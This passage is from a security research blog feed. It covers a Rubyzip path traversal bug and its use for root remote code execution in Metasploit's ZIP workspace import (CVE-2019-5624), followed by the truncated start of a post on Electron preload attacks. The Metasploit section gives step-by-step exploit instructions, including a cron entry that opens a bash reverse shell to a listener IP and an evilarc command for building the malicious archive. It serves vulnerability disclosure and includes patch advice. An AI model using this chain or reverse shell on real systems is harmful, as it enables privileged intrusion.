    &lt;span class=&quot;n&quot;&gt;parent_directory&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Pathname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;ENV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'uploads_dir'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uuid&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;no&quot;&gt;Zip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each_with_index&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# 1. check the file is not present&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;next&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;file?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parent_directory&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# 2. extract the entry&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parent_directory&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;Success&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In item #0 we can see that a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Pathname&lt;/code&gt; object is created and then used as the destination path of the decompressed entry in item #2. However, the sum operator between objects and strings does not work as many developers would expect and might result in unintended behavior.&lt;/p&gt;

&lt;p&gt;We can easily understand its behavior in an IRB shell:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;irb
irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:001:0&amp;gt; require &lt;span class=&quot;s1&quot;&gt;'pathname'&lt;/span&gt;              
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true
&lt;/span&gt;irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:002:0&amp;gt; parent_directory &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; Pathname.new&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/tmp/random_uuid/&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;#&amp;lt;Pathname:/tmp/random_uuid/&amp;gt;&lt;/span&gt;
irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:003:0&amp;gt; entry_path &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; Pathname.new&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;parent_directory + File.dirname&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;../../path/traversal&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;#&amp;lt;Pathname:/path&amp;gt;&lt;/span&gt;
irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:004:0&amp;gt; destination_folder &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; Pathname.new&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;parent_directory + &lt;span class=&quot;s2&quot;&gt;&quot;../../path/traversal&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;#&amp;lt;Pathname:/path/traversal&amp;gt;&lt;/span&gt;
irb&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:005:0&amp;gt; parent_directory + &lt;span class=&quot;s2&quot;&gt;&quot;../../path/traversal&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;#&amp;lt;Pathname:/path/traversal&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Thanks to the interpretation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt; by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Pathname&lt;/code&gt;, the argument to Rubyzip’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Entry#extract&lt;/code&gt; call does not contain any path traversal payloads which results in a mistakenly supposed “&lt;em&gt;safe&lt;/em&gt;” path. Since the gem does not perform any validation, the exploitation does not even require this unexpected path concatenation.&lt;/p&gt;

&lt;h2 id=&quot;from-arbitrary-file-write-to-rce-ror-style&quot;&gt;From Arbitrary File Write to RCE (RoR Style)&lt;/h2&gt;

&lt;p&gt;Apart from the usual *nix and windows specific techniques (like writing a new cronjob or exploiting custom scripts), we were interested in understanding how we could leverage this bug to achieve RCE in the context of a RoR application.&lt;/p&gt;

&lt;p&gt;Since our target was running in &lt;em&gt;production&lt;/em&gt; environments, RoR classes were &lt;a href=&quot;https://guides.rubyonrails.org/autoloading_and_reloading_constants.html#autoload-paths-and-eager-load-paths&quot;&gt;cached on first usage&lt;/a&gt; via the &lt;em&gt;cache_classes&lt;/em&gt; directive. During the time allocated for the engagement we didn’t find a &lt;strong&gt;reliable&lt;/strong&gt; way to load/inject arbitrary code at runtime via file write without requiring a RoR reboot.&lt;/p&gt;

&lt;p&gt;However, we did verify in a local testing environment that chaining together a Denial of Service vulnerability and a full path disclosure of the web app root can be used to trigger the web server reboot and achieve RCE via the aforementioned zip handling vulnerability.&lt;/p&gt;

&lt;p&gt;The official &lt;a href=&quot;https://guides.rubyonrails.org/v2.3/configuring.html#using-initializers&quot;&gt;documentation&lt;/a&gt; explains that:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under /config/initializers in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Using this feature, an attacker with the right privileges can add a malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.rb&lt;/code&gt; in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/config/initializers&lt;/code&gt; folder which will be loaded at web server (re)boot.&lt;/p&gt;

&lt;h2 id=&quot;attacking-the-attackers-metasploit-authenticated-rce-cve-2019-5624&quot;&gt;Attacking the attackers. Metasploit Authenticated RCE (CVE-2019-5624)&lt;/h2&gt;

&lt;p&gt;Just after the end of the engagement and with the approval of our customer, we started looking at popular software that was likely affected by the Rubyzip bug. 
As we were brainstorming potential targets, an icon on one of our VMs caught our attention: &lt;a href=&quot;https://www.metasploit.com/&quot;&gt;Metasploit Framework&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Going through the source code, we were able to quickly identify several files that are using the Rubyzip library to create ZIP files. Since our vulnerability resides in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extract&lt;/code&gt; function, we recalled an option to import a ZIP workspace from previous MSF versions or from different instances. We identified the corresponding code path in &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/db_manager/import/metasploit_framework/zip.rb&quot;&gt;zip.rb&lt;/a&gt; file &lt;em&gt;(line 157)&lt;/em&gt; that is responsible for importing a Metasploit ZIP File:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;entries&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;vi&quot;&gt;@import_filedata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:zip_tmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As for the vanilla Rubyzip example, creating a ZIP file containing a path traversal payload and embedding a valid MSF workspace (an XML file containing the exported info from a scan) made it possible to obtain a reliable file-write primitive. Since the extraction is done as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt;, we could easily obtain remote command execution with high privileges using the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Create a file with the following content: &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;* * * * * root /bin/bash -c &quot;exec /bin/bash 0&amp;lt;/dev/tcp/172.16.13.144/4444 1&amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0 0&amp;lt;&amp;amp;196;exec 196&amp;lt;&amp;gt;/dev/tcp/172.16.13.144/4445; bash &amp;lt;&amp;amp;196 &amp;gt;&amp;amp;196 2&amp;gt;&amp;amp;196&quot;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Generate the ZIP archive with the path traversal payload: &lt;br /&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python evilarc.py exploit --os unix -p etc/cron.d/&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Add a valid MSF workspace to the ZIP file (in order to have MSF to extract it, otherwise it will refuse to process the ZIP archive)&lt;/li&gt;
  &lt;li&gt;Setup two listeners, one on port 4444 and the other on port 4445 (the one on port 4445 will get the reverse shell)&lt;/li&gt;
  &lt;li&gt;Login in the MSF Web Interface&lt;/li&gt;
  &lt;li&gt;Create a new “Project”&lt;/li&gt;
  &lt;li&gt;Select “Import”, “From file”, chose the evil ZIP file and finally click the “Import” button&lt;/li&gt;
  &lt;li&gt;Wait for the import process to finish&lt;/li&gt;
  &lt;li&gt;Enjoy your reverse shell&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;../../../public/images/msf-zip.png&quot;&gt;
    &lt;source src=&quot;../../../public/images/msf-zip-bug.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;

&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h2&gt;

&lt;p&gt;In case you are using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rubyzip&lt;/code&gt;, check the library usage and perform additional validation against the entry name and the destination path before calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Entry#extract&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here is a small recap of the different scenarios (as of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rubyzip v1.2.2&lt;/code&gt;):&lt;/p&gt;
&lt;table&gt;
    &lt;tr&gt;
        &lt;th&gt;Usage&lt;/th&gt;
        &lt;th&gt;Input by user?&lt;/th&gt;
        &lt;th&gt;Vulnerable to path traversal?&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;entry.extract(path)&lt;/td&gt;
        &lt;td&gt;yes (path)&lt;/td&gt;
        &lt;td&gt;&lt;b&gt;yes&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;entry.extract(path)&lt;/td&gt;
        &lt;td&gt;partially (path is concatenated)&lt;/td&gt;
        &lt;td&gt;&lt;b&gt;maybe&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;entry.extract()&lt;/td&gt;
        &lt;td&gt;partially (entry name)&lt;/td&gt;
        &lt;td&gt;no&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;entry.extract()&lt;/td&gt;
        &lt;td&gt;no&lt;/td&gt;
        &lt;td&gt;no&lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;

&lt;p&gt;If you’re using Metasploit, it is &lt;a href=&quot;https://blog.rapid7.com/2019/04/19/metasploit-wrap-up-13/&quot;&gt;time to patch&lt;/a&gt;. We look forward to seeing a msf module for CVE-2019-5624.&lt;/p&gt;

&lt;h2 id=&quot;credits-and-references&quot;&gt;Credits and References&lt;/h2&gt;

&lt;p&gt;Credit for the research and bugs go to &lt;a href=&quot;https://twitter.com/void_sec&quot;&gt;@voidsec&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/polict_&quot;&gt;@polict&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This work has been performed during a customer engagement and &lt;a href=&quot;https://doyensec.com/research.html&quot;&gt;Doyensec 25% Research Time&lt;/a&gt;.
As such, we would like to thank our customer and Metasploit maintainers for their support.&lt;/p&gt;

&lt;p&gt;If you’re interested in the topic, take a look at the following resources:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Rubyzip/Rubyzip&quot;&gt;Rubyzip Library&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://guides.rubyonrails.org/&quot;&gt;Ruby on Rails Guides&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.phrack.org/issues/69/12.html&quot;&gt;Attacking Ruby on Rails Applications&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.phrack.org/issues/50/3.html&quot;&gt;1997 Portable BBS Hacking (or when Zip Slip was actually invented)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.neohapsis.com/2009/04/21/directory-traversal-in-archives/&quot;&gt;Evilarc blog post (or 2019 and this post is still relevant)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content>
 </entry>
 
 <entry>
   <title>Subverting Electron Apps via Insecure Preload</title>
   <link href="https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via-insecure-preload.html"/>
   <updated>2019-04-03T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via-insecure-preload</id>
   <content type="html">&lt;p&gt;We’re back from &lt;a href=&quot;https://www.blackhat.com/asia-19/briefings/schedule/index.html#preloading-insecurity-in-your-electron-13756&quot;&gt;BlackHat Asia 2019&lt;/a&gt; where we introduced a relatively unexplored class of vulnerabilities affecting &lt;a href=&quot;https://electronjs.org/&quot;&gt;Electron-based&lt;/a&gt; applications.&lt;/p&gt;

&lt;p&gt;Despite popular belief, secure-by-default settings are slowly becoming the norm and the dev community is gradually learning common pitfalls. Isolation is now widely deployed across all top Electron applications and so turning XSS into RCE isn’t child’s play anymore.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/xss2rce.png&quot; width=&quot;500&quot; alt=&quot;From Alert to Calc&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;BrowserWindow &lt;a href=&quot;https://electronjs.org/docs/all#preload&quot;&gt;preload&lt;/a&gt; introduces a new and interesting attack vector. Even without a framework bug (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegration&lt;/code&gt; bypass), this neglected attack surface can be abused to bypass isolation and access Node.js primitives in a reliable manner.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;You can download the slides of our talk from the official BlackHat Briefings archive: &lt;a href=&quot;http://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Carettoni-Preloading-Insecurity-In-Your-Electron.pdf&quot;&gt;http://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Carettoni-Preloading-Insecurity-In-Your-Electron.pdf&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;preloading-insecurity-in-your-electron&quot;&gt;Preloading Insecurity In Your Electron&lt;/h3&gt;

&lt;p&gt;Preload is a mechanism to execute code before renderer scripts are loaded. This is generally employed by applications to export functions and objects to the page’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window&lt;/code&gt; object as shown in the official documentation:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ready&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BrowserWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;webPreferences&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;sandbox&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;preload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;preload.js&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;loadURL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://google.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;preload.js&lt;/em&gt; can contain custom logic to augment the renderer with easy-to-use functions or application-specific objects:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;electron&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// read a configuration file using the `fs` module&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;readFileSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;allowed-popup-urls.json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;allowedUrls&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;utf8&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;defaultWindowOpen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;customWindowOpen&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
